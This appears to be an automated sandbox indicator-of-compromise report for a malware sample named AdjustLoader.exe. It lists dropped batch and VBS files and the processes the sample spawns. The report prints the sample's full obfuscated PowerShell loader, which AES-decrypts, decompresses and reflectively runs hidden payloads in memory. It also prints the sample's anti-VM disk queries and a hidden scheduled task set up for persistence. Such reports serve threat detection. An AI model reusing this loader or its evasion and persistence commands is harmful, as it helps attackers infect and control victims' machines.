IOC Report
AdjustLoader.exe

AdjustLoader.exe

PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows

initial sample

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AdjustLoader.exe.log

CSV text

dropped

C:\Users\user\AppData\Local\Temp\tmp6432.tmp.bat

DOS batch file, ASCII text, with very long lines (5544)

dropped

C:\Windows\$nya-onimai3\$nya-Loli.bat

DOS batch file, ASCII text, with very long lines (5544)

dropped

C:\Windows\$nya-onimai3\$nya-Loli.vbs

ASCII text, with no line terminators

dropped

C:\Users\user\Desktop\AdjustLoader.exe

"C:\Users\user\Desktop\AdjustLoader.exe"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp6432.tmp.bat" "

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\wbem\WMIC.exe

wmic diskdrive get Model

C:\Windows\System32\wbem\WMIC.exe

wmic diskdrive get Manufacturer,Model

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function OEJrN($jLLdq){ $SFHve=[System.Security.Cryptography.Aes]::Create(); $SFHve.Mode=[System.Security.Cryptography.CipherMode]::CBC; $SFHve.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $SFHve.Key=[System.Convert]::FromBase64String('u7zgopjl7iMCblDGwt+nL93+9Q1OwLPv32X7otLLcsU='); $SFHve.IV=[System.Convert]::FromBase64String('YnJt8rKkmfjICvof8Wpokg=='); $eafkF=$SFHve.CreateDecryptor(); $lkiIH=$eafkF.TransformFinalBlock($jLLdq, 0, $jLLdq.Length); $eafkF.Dispose(); $SFHve.Dispose(); $lkiIH;}function pEnJN($jLLdq){ IEX '$klrVG=New-Object System.IO.M*em*or*yS*tr*ea*m(,$jLLdq);'.Replace('*', ''); IEX '$llRlz=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$jRWIB=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($klrVG, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $jRWIB.CopyTo($llRlz); $jRWIB.Dispose(); $klrVG.Dispose(); $llRlz.Dispose(); $llRlz.ToArray();}function GDwhu($jLLdq,$mXFYk){ IEX '$wgnFA=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$jLLdq);'.Replace('*', ''); IEX '$rUGem=$wgnFA.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$rUGem.*I*n*v*o*k*e*($null, $mXFYk);'.Replace('*', '');}$XpYqP = 'C:\Users\user\AppData\Local\Temp\tmp6432.tmp.bat';$host.UI.RawUI.WindowTitle = $XpYqP;$wCepT=[System.IO.File]::ReadAllText($XpYqP).Split([Environment]::NewLine);foreach ($CrLwk in $wCepT) { if ($CrLwk.StartsWith(':: ')) { $BaEdL=$CrLwk.Substring(3); break; }}$USpSf=[string[]]$BaEdL.Split('\');IEX '$qjsDB=pEnJN (OEJrN ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($USpSf[0])));'.Replace('*', '');IEX '$KucUO=pEnJN (OEJrN ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($USpSf[1])));'.Replace('*', '');GDwhu $qjsDB $null;GDwhu $KucUO (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -WindowStyle Hidden

C:\Windows\System32\schtasks.exe

"schtasks" /create /sc MONTHLY /tn $nya-Loli_1 /F /RL HIGHEST /tr "wscript.exe 'C:\Windows\$nya-onimai3\$nya-Loli.vbs' 'C:\Windows\$nya-onimai3\$nya-Loli.bat'"

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-ScheduledTask -TaskName '$nya-Loli_1'